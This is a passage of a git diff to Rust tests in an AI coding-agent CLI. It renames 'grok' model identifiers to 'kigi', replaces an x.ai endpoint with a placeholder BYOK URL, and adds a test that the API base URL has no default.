@@ -5911,15 +5913,15 @@ reasoning_effort = "low"
             allowed_models = ["keep-*", "explicit-key", "explicit-model-id"]
             [model.to-drop]
             model = "to-drop"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             [model.keep-one]
             model = "keep-one"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             [model.explicit-key]
             model = "explicit-model-id"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             "#,
         )
@@ -5944,7 +5946,7 @@ reasoning_effort = "low"
             allowed_models = []
             [model.foo]
             model = "foo"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 256000
             "#,
         )
@@ -5958,11 +5960,11 @@ reasoning_effort = "low"
     #[test]
     fn invalid_glob_is_rejected_by_validation() {
         use crate::agent::models::ModelGlobSet;
-        assert!(ModelGlobSet::compile(Some(&vec!["grok[".to_string()])).is_err());
+        assert!(ModelGlobSet::compile(Some(&vec!["kigi[".to_string()])).is_err());
         let raw: toml::Value = toml::from_str(
             r#"
             [models]
-            allowed_models = ["grok["]
+            allowed_models = ["kigi["]
             "#,
         )
         .unwrap();
@@ -5982,13 +5984,13 @@ reasoning_effort = "low"
             r#"
             [model.oauth-only-model]
             model = "oauth-only-model"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             supported_in_api = false
 
             [model.public-model]
             model = "public-model"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             "#,
         )
@@ -6013,8 +6015,8 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.slow-model]
-            model = "grok-4.5"
-            base_url = "https://api.x.ai/v1"
+            model = "kigi-4.5"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             inference_idle_timeout_secs = 600
             "#,
@@ -6030,8 +6032,8 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.default-model]
-            model = "grok-fast"
-            base_url = "https://api.x.ai/v1"
+            model = "kigi-fast"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             "#,
         )
@@ -6136,7 +6138,7 @@ reasoning_effort = "low"
         );
         assert_eq!(
             sampling.base_url, "https://inference.example.com/v1",
-            "should route to the user's custom endpoint, not api.x.ai"
+            "should route to the user's custom endpoint, not the BYOK endpoint"
         );
         unsafe { std::env::remove_var("ENTERPRISE_AUTH_TOKEN") };
     }
@@ -6229,8 +6231,8 @@ reasoning_effort = "low"
     fn config_models_default_custom_model_is_in_resolved_model_list() {
         let (_, models) = resolve_models_from_toml(
             r#"
-            [model.acme-grok]
-            model = "grok-4.5"
+            [model.acme-kigi]
+            model = "kigi-4.5"
             base_url = "https://inference.example.com/v1"
             context_window = 256000
             env_key = "ENTERPRISE_AUTH_TOKEN"
@@ -6238,11 +6240,11 @@ reasoning_effort = "low"
             None,
         );
         assert!(
-            models.contains_key("acme-grok"),
+            models.contains_key("acme-kigi"),
             "user-defined model must be in the resolved model list"
         );
-        let model = models.get("acme-grok").unwrap();
-        assert_eq!(model.info.model, "grok-4.5");
+        let model = models.get("acme-kigi").unwrap();
+        assert_eq!(model.info.model, "kigi-4.5");
         assert_eq!(model.info.base_url, "https://inference.example.com/v1");
     }
     #[test]
@@ -6342,7 +6344,7 @@ reasoning_effort = "low"
             "https://proxy.api/v1",
             None,
             None,
-            Some("https://api.x.ai/v1"),
+            Some("https://byok.example/v1"),
         );
         let sampling = resolve_sampling(&model_no_key, Some("session-key"));
         assert_eq!(
@@ -6361,7 +6363,7 @@ reasoning_effort = "low"
             "env key should be used when no session and no model credentials"
         );
         assert_eq!(
-            sampling.base_url, "https://api.x.ai/v1",
+            sampling.base_url, "https://byok.example/v1",
             "env key should route to api_base_url"
         );
         unsafe { std::env::remove_var("XAI_API_KEY") };
@@ -6447,17 +6449,17 @@ reasoning_effort = "low"
     fn e2e_acp_model_info_no_dedup_on_model_field() {
         let mut models = IndexMap::new();
         models.insert(
-            "default-grok".to_string(),
+            "default-kigi".to_string(),
             test_model_entry(
                 crate::models::default_model(),
                 "https://api.kimi.com/coding/v1",
                 None,
                 None,
-                Some("https://api.x.ai/v1"),
+                Some("https://byok.example/v1"),
             ),
         );
         models.insert(
-            "acme-grok".to_string(),
+            "acme-kigi".to_string(),
             test_model_entry(
                 crate::models::default_model(),
                 "https://inference.example.com/v1",
@@ -6473,11 +6475,11 @@ reasoning_effort = "low"
             "both entries should survive in ACP model list"
         );
         assert!(
-            acp_models.contains_key(&acp::ModelId::new("default-grok")),
+            acp_models.contains_key(&acp::ModelId::new("default-kigi")),
             "default entry should be addressable by map key"
         );
         assert!(
-            acp_models.contains_key(&acp::ModelId::new("acme-grok")),
+            acp_models.contains_key(&acp::ModelId::new("acme-kigi")),
             "user entry should be addressable by map key"
         );
     }
@@ -6550,6 +6552,16 @@ reasoning_effort = "low"
             unsafe { std::env::remove_var(k) };
         }
     }
+    /// PRD §9: there is no built-in BYOK endpoint default — `api_base_url`
+    /// stays unset unless explicitly configured (config key, env var, CLI
+    /// flag, or requirements pin).
+    #[test]
+    #[serial]
+    fn api_base_url_has_no_default() {
+        unset_endpoint_env_vars();
+        assert_eq!(EndpointsConfig::default().api_base_url, None);
+    }
+
     /// INVARIANT: auxiliary-service resolvers resolve to the cli-chat-proxy, never
     /// `api_base_url` — overriding ONLY inference keeps every aux endpoint on
     /// the proxy; explicit per-service overrides win verbatim.
@@ -6559,7 +6571,7 @@ reasoning_effort = "low"
         unset_endpoint_env_vars();
         let inference = "https://inference.acme-corp.example/xai/v1";
         let cfg = EndpointsConfig {
-            api_base_url: inference.to_string(),
+            api_base_url: Some(inference.to_string()),
             coding_api_base_url: None,
             ..Default::default()
         };
@@ -6572,7 +6584,7 @@ reasoning_effort = "low"
             format!("{proxy}/deployment/config")
         );
         assert_eq!(cfg.resolve_feedback_base_url(), proxy);
-        assert_eq!(cfg.api_base_url, inference);
+        assert_eq!(cfg.api_base_url.as_deref(), Some(inference));
         let overridden = EndpointsConfig {
             coding_api_base_url: Some("https://proxy.enterprise.example/v1".to_string()),
             managed_config_url: Some(
@@ -7495,13 +7507,13 @@ reverify_after = 6
     }
     fn planner_pair() -> crate::util::config::GoalRoleModel {
         crate::util::config::GoalRoleModel {
-            model: "grok-4".to_string(),
+            model: "kigi-4".to_string(),
             agent_type: "general-purpose".to_string(),
         }
     }
     fn strategist_pair() -> crate::util::config::GoalRoleModel {
         crate::util::config::GoalRoleModel {
-            model: "grok-4.5".to_string(),
+            model: "kigi-4.5".to_string(),
             agent_type: "cursor".to_string(),
         }
     }
@@ -7701,29 +7713,29 @@ reverify_after = 6
         let toml_str = r#"
 [goal]
 enabled = true
-planner_model = { model = "grok-build", agent_type = "grok-build-plan" }
+planner_model = { model = "kigi", agent_type = "kigi-plan" }
 
 [goal.strategist_model]
-model = "grok-composer-2.5-fast"
+model = "kigi-composer-2.5-fast"
 agent_type = "cursor"
 
 [[goal.skeptic_models]]
-model = "grok-build"
-agent_type = "grok-build-plan"
+model = "kigi"
+agent_type = "kigi-plan"
 
 [[goal.skeptic_models]]
-model = "grok-composer-2.5-fast"
+model = "kigi-composer-2.5-fast"
 agent_type = "cursor"
 "#;
         let raw: toml::Value = toml::from_str(toml_str).unwrap();
         let cfg = Config::new_from_toml_cfg(&raw).unwrap();
-        assert_eq!(cfg.goal.planner_model.as_ref().unwrap().model, "grok-build");
+        assert_eq!(cfg.goal.planner_model.as_ref().unwrap().model, "kigi");
         assert_eq!(
             cfg.goal.strategist_model.as_ref().unwrap().agent_type,
             "cursor"
         );
         assert_eq!(cfg.goal.skeptic_models.len(), 2);
-        assert_eq!(cfg.goal.skeptic_models[0].model, "grok-build");
+        assert_eq!(cfg.goal.skeptic_models[0].model, "kigi");
         assert_eq!(
             cfg.resolve_goal_planner_model(false).source,
             ConfigSource::Config
@@ -7737,7 +7749,7 @@ agent_type = "cursor"
 [goal]
 enabled = true
 classifier_max_runs = 6
-planner_model = { agent_type = "grok-build-plan" }
+planner_model = { agent_type = "kigi-plan" }
 "#;
         let raw: toml::Value = toml::from_str(toml_str).unwrap();
         let cfg = Config::new_from_toml_cfg(&raw)
@@ -7752,21 +7764,21 @@ planner_model = { agent_type = "grok-build-plan" }
 enabled = true
 
 [[goal.skeptic_models]]
-model = "grok-build"
-agent_type = "grok-build-plan"
+model = "kigi"
+agent_type = "kigi-plan"
 
 [[goal.skeptic_models]]
 agent_type = "cursor"
 
 [[goal.skeptic_models]]
-model = "grok-composer-2.5-fast"
+model = "kigi-composer-2.5-fast"
 agent_type = "cursor"
 "#;
         let raw: toml::Value = toml::from_str(toml_str).unwrap();
         let cfg = Config::new_from_toml_cfg(&raw).unwrap();
         assert_eq!(cfg.goal.skeptic_models.len(), 2);
-        assert_eq!(cfg.goal.skeptic_models[0].model, "grok-build");
-        assert_eq!(cfg.goal.skeptic_models[1].model, "grok-composer-2.5-fast");
+        assert_eq!(cfg.goal.skeptic_models[0].model, "kigi");
+        assert_eq!(cfg.goal.skeptic_models[1].model, "kigi-composer-2.5-fast");
     }
     /// Acceptance test: a full managed-config `[goal]` block resolves end-to-end,
     /// every value sourced from config (not remote/default).
@@ -7783,26 +7795,26 @@ classifier_enabled = true
 planner_enabled = true
 verifier_count = 3
 classifier_max_runs = 6
-planner_model = { model = "grok-build", agent_type = "grok-build-plan" }
-strategist_model = { model = "grok-composer-2.5-fast", agent_type = "cursor" }
+planner_model = { model = "kigi", agent_type = "kigi-plan" }
+strategist_model = { model = "kigi-composer-2.5-fast", agent_type = "cursor" }
 
 [[goal.skeptic_models]]
-model = "grok-build"
-agent_type = "grok-build-plan"
+model = "kigi"
+agent_type = "kigi-plan"
 
 [[goal.skeptic_models]]
-model = "grok-composer-2.5-fast"
+model = "kigi-composer-2.5-fast"
 agent_type = "cursor"
 "#,
         )
         .unwrap();
         let cfg = Config::new_from_toml_cfg(&raw).expect("[goal] config must parse");
-        let grok_build = crate::util::config::GoalRoleModel {
-            model: "grok-build".into(),
-            agent_type: "grok-build-plan".into(),
+        let kigi = crate::util::config::GoalRoleModel {
+            model: "kigi".into(),
+            agent_type: "kigi-plan".into(),
         };
         let composer = crate::util::config::GoalRoleModel {
-            model: "grok-composer-2.5-fast".into(),
+            model: "kigi-composer-2.5-fast".into(),
             agent_type: "cursor".into(),
         };
         let goal_enabled = cfg.resolve_goal().value;
@@ -7814,10 +7826,7 @@ agent_type = "cursor"
         let use_current = cfg.resolve_goal_use_current_model_only().value;
         assert!(!use_current);
         let planner = cfg.resolve_goal_planner_model(use_current);
-        assert_eq!(
-            planner.value,
-            GoalRoleModelChoice::Explicit(grok_build.clone())
-        );
+        assert_eq!(planner.value, GoalRoleModelChoice::Explicit(kigi.clone()));
         assert_eq!(planner.source, ConfigSource::Config);
         assert_eq!(
             cfg.resolve_goal_strategist_model(use_current).value,
@@ -7826,7 +7835,7 @@ agent_type = "cursor"
         assert_eq!(
             cfg.resolve_goal_skeptic_models(use_current).value,
             vec![
-                GoalRoleModelChoice::Explicit(grok_build),
+                GoalRoleModelChoice::Explicit(kigi),
                 GoalRoleModelChoice::Explicit(composer),
             ]
         );
@@ -7910,7 +7919,7 @@ agent_type = "cursor"
             management_api_key = "mgmt-key"
             gcs_service_account_key = "gcs-key"
             [models]
-            default = "grok-3"
+            default = "kigi-3"
             [ui]
             yolo = true
             theme = "dark"
@@ -8532,25 +8541,25 @@ hooks = true
         let mut value: toml::Value = toml::from_str(
             r#"
 [models]
-default = "grok-build"
+default = "kigi"
 
 [[version_overrides]]
 minimum_version = "1.8.0"
 [version_overrides.models]
-default = "grok-4.5"
+default = "kigi-4.5"
 "#,
         )
         .unwrap();
         let v = semver::Version::parse("1.8.0").unwrap();
         kigi_config::apply_version_overrides(&mut value, &v).unwrap();
         let cfg = Config::new_from_toml_cfg(&value).unwrap();
-        assert_eq!(cfg.models.default.as_deref(), Some("grok-4.5"));
+        assert_eq!(cfg.models.default.as_deref(), Some("kigi-4.5"));
     }
     /// Reproduce the enterprise managed config bug: [model.kigi-build] sets
-    /// context_window=500k for model="grok-4.5", but
-    /// [models].default="grok-4.5" resolves to the bare
+    /// context_window=500k for model="kigi-4.5", but
+    /// [models].default="kigi-4.5" resolves to the bare
     /// prefetched entry (256k) because Layer 3 only overrides key
-    /// "kigi-build", not key "grok-4.5".
+    /// "kigi-build", not key "kigi-4.5".
     ///
     /// After the Layer 4 slug propagation fix, both keys should have 500k.
     #[test]
@@ -8559,10 +8568,10 @@ default = "grok-4.5"
         let raw: toml::Value = toml::from_str(
             r#"
             [models]
-            default = "grok-4.5"
+            default = "kigi-4.5"
 
             [model.kigi-build]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             context_window = 500000
             base_url = "https://inference.example.com/v1"
             api_backend = "responses"
@@ -8572,25 +8581,25 @@ default = "grok-4.5"
         let cfg = Config::new_from_toml_cfg(&raw).expect("config should parse");
         let mut prefetched = IndexMap::new();
         let mut entry = test_model_entry(
-            "grok-4.5",
+            "kigi-4.5",
             "https://inference.example.com/v1",
             None,
             None,
             None,
         );
         entry.info.context_window = NonZeroU64::new(default_cw).unwrap();
-        prefetched.insert("grok-4.5".to_owned(), entry);
+        prefetched.insert("kigi-4.5".to_owned(), entry);
         let resolved = resolve_model_list(&cfg, Some(prefetched));
         let by_key = resolved
             .get("kigi-build")
             .expect("kigi-build key must exist");
         assert_eq!(by_key.info.context_window.get(), 500_000);
-        assert_eq!(by_key.info.model, "grok-4.5");
-        let by_latest = resolved.get("grok-4.5").expect("grok-4.5 key must exist");
+        assert_eq!(by_key.info.model, "kigi-4.5");
+        let by_latest = resolved.get("kigi-4.5").expect("kigi-4.5 key must exist");
         assert_eq!(
             by_latest.info.context_window.get(),
             500_000,
-            "BUG: prefetched 'grok-4.5' should inherit 500k from \
+            "BUG: prefetched 'kigi-4.5' should inherit 500k from \
              sibling 'kigi-build' (same model slug), not stay at {default_cw}"
         );
     }
@@ -8601,24 +8610,24 @@ default = "grok-4.5"
         let raw: toml::Value = toml::from_str(
             r#"
             [model.kigi-build]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             context_window = 500000
             base_url = "https://test.example.com/v1"
             api_backend = "responses"
-            agent_type = "grok-build"
+            agent_type = "kigi"
             "#,
         )
         .unwrap();
         let cfg = Config::new_from_toml_cfg(&raw).expect("config should parse");
         let mut prefetched = IndexMap::new();
         let mut entry =
-            test_model_entry("grok-4.5", "https://test.example.com/v1", None, None, None);
+            test_model_entry("kigi-4.5", "https://test.example.com/v1", None, None, None);
         entry.info.context_window = NonZeroU64::new(default_cw).unwrap();
         entry.info.agent_type = default_agent_type();
         entry.info.api_backend = ApiBackend::default();
-        prefetched.insert("grok-4.5".to_owned(), entry);
+        prefetched.insert("kigi-4.5".to_owned(), entry);
         let resolved = resolve_model_list(&cfg, Some(prefetched));
-        let latest = resolved.get("grok-4.5").unwrap();
+        let latest = resolved.get("kigi-4.5").unwrap();
         assert_eq!(
             latest.info.agent_type,
             default_agent_type(),
@@ -8637,7 +8646,7 @@ default = "grok-4.5"
         let raw: toml::Value = toml::from_str(
             r#"
             [model.kigi-build]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             context_window = 500000
             base_url = "https://test.example.com/v1"
             "#,
@@ -8646,11 +8655,11 @@ default = "grok-4.5"
         let cfg = Config::new_from_toml_cfg(&raw).expect("config should parse");
         let mut prefetched = IndexMap::new();
         let mut entry =
-            test_model_entry("grok-4.5", "https://test.example.com/v1", None, None, None);
+            test_model_entry("kigi-4.5", "https://test.example.com/v1", None, None, None);
         entry.info.context_window = NonZeroU64::new(65_536).unwrap();
-        prefetched.insert("grok-4.5".to_owned(), entry);
+        prefetched.insert("kigi-4.5".to_owned(), entry);
         let resolved = resolve_model_list(&cfg, Some(prefetched));
-        let latest = resolved.get("grok-4.5").unwrap();
+        let latest = resolved.get("kigi-4.5").unwrap();
         assert_eq!(
             latest.info.context_window.get(),
             65_536,
@@ -9017,13 +9026,13 @@ default = "grok-4.5"
     fn resolve_model_list_inherits_agent_type_and_api_backend() {
         let cfg = Config::default();
         let default_cw = DEFAULT_CONTEXT_WINDOW;
-        let entry = prefetch_model_entry("grok-build", default_cw, ApiBackend::default());
+        let entry = prefetch_model_entry("kigi", default_cw, ApiBackend::default());
         let mut prefetched = IndexMap::new();
-        prefetched.insert("grok-build".to_owned(), entry);
+        prefetched.insert("kigi".to_owned(), entry);
         let resolved = resolve_model_list(&cfg, Some(prefetched));
-        let entry = resolved.get("grok-build").expect("model must exist");
+        let entry = resolved.get("kigi").expect("model must exist");
         let defaults = default_model_entries(&EndpointsConfig::default());
-        if let Some(default) = defaults.get("grok-build") {
+        if let Some(default) = defaults.get("kigi") {
             if default.info.agent_type != DEFAULT_AGENT_TYPE {
                 assert_eq!(
                     entry.info.agent_type, default.info.agent_type,
diff --git a/crates/codegen/kigi-shell/src/agent/config_model_override_parse.rs b/crates/codegen/kigi-shell/src/agent/config_model_override_parse.rs
index 6b3a4d3..2e55671 100644
--- a/crates/codegen/kigi-shell/src/agent/config_model_override_parse.rs
+++ b/crates/codegen/kigi-shell/src/agent/config_model_override_parse.rs
@@ -10,7 +10,7 @@
 //! parsed again. Non-table values are dropped with a warning.
 //!
 //! Warnings are retained on `Config::model_override_warnings` and surfaced by
-//! `grok inspect`.
+//! `kigi inspect`.
 
 use indexmap::IndexMap;
 use serde::Serialize;
@@ -125,7 +125,7 @@ pub(crate) fn log_model_override_warnings(warnings: &[ModelOverrideWarning]) {
     if !warnings.is_empty() {
         tracing::warn!(
             warnings = warnings.len(),
-            "model_override: parsed with warnings; run `grok inspect` for details"
+            "model_override: parsed with warnings; run `kigi inspect` for details"
         );
     }
 }
@@ -292,8 +292,8 @@ mod tests {
     fn duplicate_compactions_keys_keeps_model() {
         let cfg = parse_cfg(
             r#"
-            [model."grok-4.5"]
-            model = "grok-4.5"
+            [model."kigi-4.5"]
+            model = "kigi-4.5"
             env_key = "ANTHROPIC_AUTH_TOKEN"
             compactions_remaining = 1
             send_compactions_remaining = true
@@ -301,8 +301,8 @@ mod tests {
         );
         let model = cfg
             .config_models
-            .get("grok-4.5")
-            .expect("grok-4.5 must remain in catalog");
+            .get("kigi-4.5")
+            .expect("kigi-4.5 must remain in catalog");
         assert_eq!(
             model.compactions_remaining,
             Some(CompactionsRemaining::Fixed(1))
@@ -312,19 +312,19 @@ mod tests {
                 && w.field.as_deref() == Some("send_compactions_remaining")
         }));
         let resolved = crate::agent::config::resolve_model_list(&cfg, None);
-        assert!(resolved.contains_key("grok-4.5"));
+        assert!(resolved.contains_key("kigi-4.5"));
     }
 
     #[test]
     fn legacy_alias_alone_parses_without_warning() {
         let cfg = parse_cfg(
             r#"
-            [model."grok-4.5"]
-            model = "grok-4.5"
+            [model."kigi-4.5"]
+            model = "kigi-4.5"
             send_compactions_remaining = 2
             "#,
         );
-        let model = cfg.config_models.get("grok-4.5").unwrap();
+        let model = cfg.config_models.get("kigi-4.5").unwrap();
         assert_eq!(
             model.compactions_remaining,
             Some(CompactionsRemaining::Fixed(2))
@@ -336,17 +336,17 @@ mod tests {
     fn invalid_reasoning_effort_skips_field_keeps_model() {
         let cfg = parse_cfg(
             r#"
-            [model."grok-4.5"]
-            model = "grok-4.5"
+            [model."kigi-4.5"]
+            model = "kigi-4.5"
             env_key = "ANTHROPIC_AUTH_TOKEN"
             reasoning_effort = "not-a-level"
             "#,
         );
         let model = cfg
             .config_models
-            .get("grok-4.5")
-            .expect("grok-4.5 must remain in catalog");
-        assert_eq!(model.model.as_deref(), Some("grok-4.5"));
+            .get("kigi-4.5")
+            .expect("kigi-4.5 must remain in catalog");
+        assert_eq!(model.model.as_deref(), Some("kigi-4.5"));
         assert!(model.reasoning_effort.is_none());
         assert!(cfg.model_override_warnings.iter().any(|w| {
             w.kind == ModelOverrideWarningKind::InvalidValue
@@ -358,14 +358,14 @@ mod tests {
     fn unknown_field_warns_but_keeps_known_fields() {
         let (models, warnings) = parse_raw(
             r#"
-            [model."grok-4.5"]
-            model = "grok-4.5"
+            [model."kigi-4.5"]
+            model = "kigi-4.5"
             env_key = "TOKEN"
             future_field = 1
             "#,
         );
-        let entry = models.get("grok-4.5").unwrap();
-        assert_eq!(entry.model.as_deref(), Some("grok-4.5"));
+        let entry = models.get("kigi-4.5").unwrap();
+        assert_eq!(entry.model.as_deref(), Some("kigi-4.5"));
         assert_eq!(
             entry.env_key.as_ref().and_then(|k| k.primary()),
             Some("TOKEN")
@@ -373,7 +373,7 @@ mod tests {
         assert_eq!(
             warnings,
             vec![ModelOverrideWarning {
-                model_key: Some("grok-4.5".to_owned()),
+                model_key: Some("kigi-4.5".to_owned()),
                 field: Some("future_field".to_owned()),
                 kind: ModelOverrideWarningKind::UnknownField,
                 reason: "unknown field".to_owned(),
@@ -472,7 +472,7 @@ mod tests {
 
     #[test]
     fn non_table_model_section_warns_and_is_ignored() {
-        let (models, warnings) = parse_raw(r#"model = "grok-4""#);
+        let (models, warnings) = parse_raw(r#"model = "kigi-4""#);
         assert!(models.is_empty());
         assert_eq!(warnings.len(), 1);
         assert_eq!(warnings[0].kind, ModelOverrideWarningKind::NotATable);
diff --git a/crates/codegen/kigi-shell/src/agent/ext_parsers.rs b/crates/codegen/kigi-shell/src/agent/ext_parsers.rs
index b9a0e36..1757577 100644
--- a/crates/codegen/kigi-shell/src/agent/ext_parsers.rs
+++ b/crates/codegen/kigi-shell/src/agent/ext_parsers.rs
@@ -5,7 +5,7 @@
 
 use crate::session::SessionCommand;
 
-/// Parse a `x.ai/queue/{remove,reorder,clear,edit,interject}` ext-notification's
+/// Parse a `kigi/queue/{remove,reorder,clear,edit,interject}` ext-notification's
 /// params into the corresponding [`SessionCommand`].
 /// `owner` is the resolved attribution (params `owner`/`clientIdentifier`) used
 /// to scope remove/clear to the requesting client's own items, and recorded as
@@ -17,7 +17,7 @@ pub(super) fn parse_queue_edit_command(
     owner: Option<String>,
 ) -> Option<SessionCommand> {
     match method {
-        "x.ai/queue/remove" => {
+        "kigi/queue/remove" => {
             let id = params.get("id").and_then(|v| v.as_str())?.to_string();
             // The client supplies the version it last saw; the handler removes
             // only on an exact match (stale = benign no-op + rebroadcast).
@@ -32,7 +32,7 @@ pub(super) fn parse_queue_edit_command(
                 owner,
             })
         }
-        "x.ai/queue/reorder" => {
+        "kigi/queue/reorder" => {
             let ordered_ids = params
                 .get("orderedIds")
                 .and_then(|v| v.as_array())
@@ -44,8 +44,8 @@ pub(super) fn parse_queue_edit_command(
                 .unwrap_or_default();
             Some(SessionCommand::ReorderQueue { ordered_ids })
         }
-        "x.ai/queue/clear" => Some(SessionCommand::ClearQueue { owner }),
-        "x.ai/queue/interject" => {
+        "kigi/queue/clear" => Some(SessionCommand::ClearQueue { owner }),
+        "kigi/queue/interject" => {
             let id = params.get("id").and_then(|v| v.as_str())?.to_string();
             // The client supplies the version it last saw; the handler acts
             // only on an exact match (stale = benign no-op + rebroadcast).
@@ -68,7 +68,7 @@ pub(super) fn parse_queue_edit_command(
                 new_text,
             })
         }
-        "x.ai/queue/edit" => {
+        "kigi/queue/edit" => {
             let id = params.get("id").and_then(|v| v.as_str())?.to_string();
             let new_text = params.get("newText").and_then(|v| v.as_str())?.to_string();
             // `owner` is the resolved attribution; for edit it represents the
@@ -88,7 +88,7 @@ pub(super) fn parse_queue_edit_command(
 mod tests {
     use super::*;
 
-    /// Each `x.ai/queue/*` ext-notification maps to the
+    /// Each `kigi/queue/*` ext-notification maps to the
     /// correct versioned/idempotent `SessionCommand`.
     #[test]
     fn parse_queue_edit_command_maps_each_method() {
@@ -96,7 +96,7 @@ mod tests {
         let p = serde_json::json!({
             "sessionId": "s1", "id": "p7", "expectedVersion": 3
         });
-        match parse_queue_edit_command("x.ai/queue/remove", &p, Some("grok-tui".into())) {
+        match parse_queue_edit_command("kigi/queue/remove", &p, Some("kigi-tui".into())) {
             Some(SessionCommand::RemoveQueuedPrompt {
                 id,
                 expected_version,
@@ -104,14 +104,14 @@ mod tests {
             }) => {
                 assert_eq!(id, "p7");
                 assert_eq!(expected_version, 3);
-                assert_eq!(owner.as_deref(), Some("grok-tui"));
+                assert_eq!(owner.as_deref(), Some("kigi-tui"));
             }
             _ => panic!("expected RemoveQueuedPrompt"),
         }
 
         // remove without expectedVersion defaults to 0.
         let p = serde_json::json!({ "sessionId": "s1", "id": "p8" });
-        match parse_queue_edit_command("x.ai/queue/remove", &p, None) {
+        match parse_queue_edit_command("kigi/queue/remove", &p, None) {
             Some(SessionCommand::RemoveQueuedPrompt {
                 expected_version, ..
             }) => assert_eq!(expected_version, 0),
@@ -120,7 +120,7 @@ mod tests {
 
         // reorder: orderedIds array.
         let p = serde_json::json!({ "sessionId": "s1", "orderedIds": ["a", "b", "c"] });
-        match parse_queue_edit_command("x.ai/queue/reorder", &p, None) {
+        match parse_queue_edit_command("kigi/queue/reorder", &p, None) {
             Some(SessionCommand::ReorderQueue { ordered_ids }) => {
                 assert_eq!(ordered_ids, vec!["a", "b", "c"]);
             }
@@ -129,12 +129,12 @@ mod tests {
 
         // clear: owner-scoped.
         match parse_queue_edit_command(
-            "x.ai/queue/clear",
+            "kigi/queue/clear",
             &serde_json::json!({ "sessionId": "s1" }),
-            Some("grok-tui".into()),
+            Some("kigi-tui".into()),
         ) {
             Some(SessionCommand::ClearQueue { owner }) => {
-                assert_eq!(owner.as_deref(), Some("grok-tui"));
+                assert_eq!(owner.as_deref(), Some("kigi-tui"));
             }
             _ => panic!("expected ClearQueue"),
         }
@@ -143,7 +143,7 @@ mod tests {
         let p = serde_json::json!({
             "sessionId": "s1", "id": "p9", "newText": "replacement text"
         });
-        match parse_queue_edit_command("x.ai/queue/edit", &p, Some("grok-vscode".into())) {
+        match parse_queue_edit_command("kigi/queue/edit", &p, Some("kigi-vscode".into())) {
             Some(SessionCommand::EditQueuedPrompt {
                 id,
                 new_text,
@@ -151,14 +151,14 @@ mod tests {
             }) => {
                 assert_eq!(id, "p9");
                 assert_eq!(new_text, "replacement text");
-                assert_eq!(editor.as_deref(), Some("grok-vscode"));
+                assert_eq!(editor.as_deref(), Some("kigi-vscode"));
             }
             _ => panic!("expected EditQueuedPrompt"),
         }
 
         // edit without editor (no owner/clientIdentifier) → editor: None.
         match parse_queue_edit_command(
-            "x.ai/queue/edit",
+            "kigi/queue/edit",
             &serde_json::json!({ "sessionId": "s1", "id": "p9", "newText": "x" }),
             None,
         ) {
@@ -171,7 +171,7 @@ mod tests {
         // edit without newText → None (can't replace text we don't have).
         assert!(
             parse_queue_edit_command(
-                "x.ai/queue/edit",
+                "kigi/queue/edit",
                 &serde_json::json!({ "sessionId": "s1", "id": "p9" }),
                 None,
             )
@@ -181,7 +181,7 @@ mod tests {
         // edit without id → None (can't target an entry).
         assert!(
             parse_queue_edit_command(
-                "x.ai/queue/edit",
+                "kigi/queue/edit",
                 &serde_json::json!({ "sessionId": "s1", "newText": "x" }),
                 None,
             )
@@ -192,7 +192,7 @@ mod tests {
         let p = serde_json::json!({
             "sessionId": "s1", "id": "p10", "expectedVersion": 2
         });
-        match parse_queue_edit_command("x.ai/queue/interject", &p, Some("grok-tui".into())) {
+        match parse_queue_edit_command("kigi/queue/interject", &p, Some("kigi-tui".into())) {
             Some(SessionCommand::InterjectQueuedPrompt {
                 id,
                 expected_version,
@@ -201,7 +201,7 @@ mod tests {
             }) => {
                 assert_eq!(id, "p10");
                 assert_eq!(expected_version, 2);
-                assert_eq!(owner.as_deref(), Some("grok-tui"));
+                assert_eq!(owner.as_deref(), Some("kigi-tui"));
                 assert_eq!(new_text, None, "newText absent → None");
             }
             _ => panic!("expected InterjectQueuedPrompt"),
@@ -211,7 +211,7 @@ mod tests {
         let p = serde_json::json!({
             "sessionId": "s1", "id": "p10", "expectedVersion": 2, "newText": "edited"
         });
-        match parse_queue_edit_command("x.ai/queue/interject", &p, None) {
+        match parse_queue_edit_command("kigi/queue/interject", &p, None) {
             Some(SessionCommand::InterjectQueuedPrompt { new_text, .. }) => {
                 assert_eq!(new_text.as_deref(), Some("edited"));
             }
@@ -222,7 +222,7 @@ mod tests {
         let p = serde_json::json!({
             "sessionId": "s1", "id": "p10", "expectedVersion": 2, "newText": "   "
         });
-        match parse_queue_edit_command("x.ai/queue/interject", &p, None) {
+        match parse_queue_edit_command("kigi/queue/interject", &p, None) {
             Some(SessionCommand::InterjectQueuedPrompt { new_text, .. }) => {
                 assert_eq!(new_text, None, "blank override must be dropped");
             }
@@ -231,7 +231,7 @@ mod tests {
 
         // interject without expectedVersion defaults to 0.
         match parse_queue_edit_command(
-            "x.ai/queue/interject",
+            "kigi/queue/interject",
             &serde_json::json!({ "sessionId": "s1", "id": "p11" }),
             None,
         ) {
@@ -243,17 +243,17 @@ mod tests {
 
         // interject without id → None (can't target an entry).
         assert!(
-            parse_queue_edit_command("x.ai/queue/interject", &serde_json::json!({}), None)
+            parse_queue_edit_command("kigi/queue/interject", &serde_json::json!({}), None)
                 .is_none()
         );
 
         // unknown method → None.
         assert!(
-            parse_queue_edit_command("x.ai/queue/bogus", &serde_json::json!({}), None).is_none()
+            parse_queue_edit_command("kigi/queue/bogus", &serde_json::json!({}), None).is_none()
         );
         // remove without id → None (can't target an entry).
         assert!(
-            parse_queue_edit_command("x.ai/queue/remove", &serde_json::json!({}), None).is_none()
+            parse_queue_edit_command("kigi/queue/remove", &serde_json::json!({}), None).is_none()
         );
     }
 }
diff --git a/crates/codegen/kigi-shell/src/agent/folder_trust.rs b/crates/codegen/kigi-shell/src/agent/folder_trust.rs
index f2eb892..c6af1e7 100644
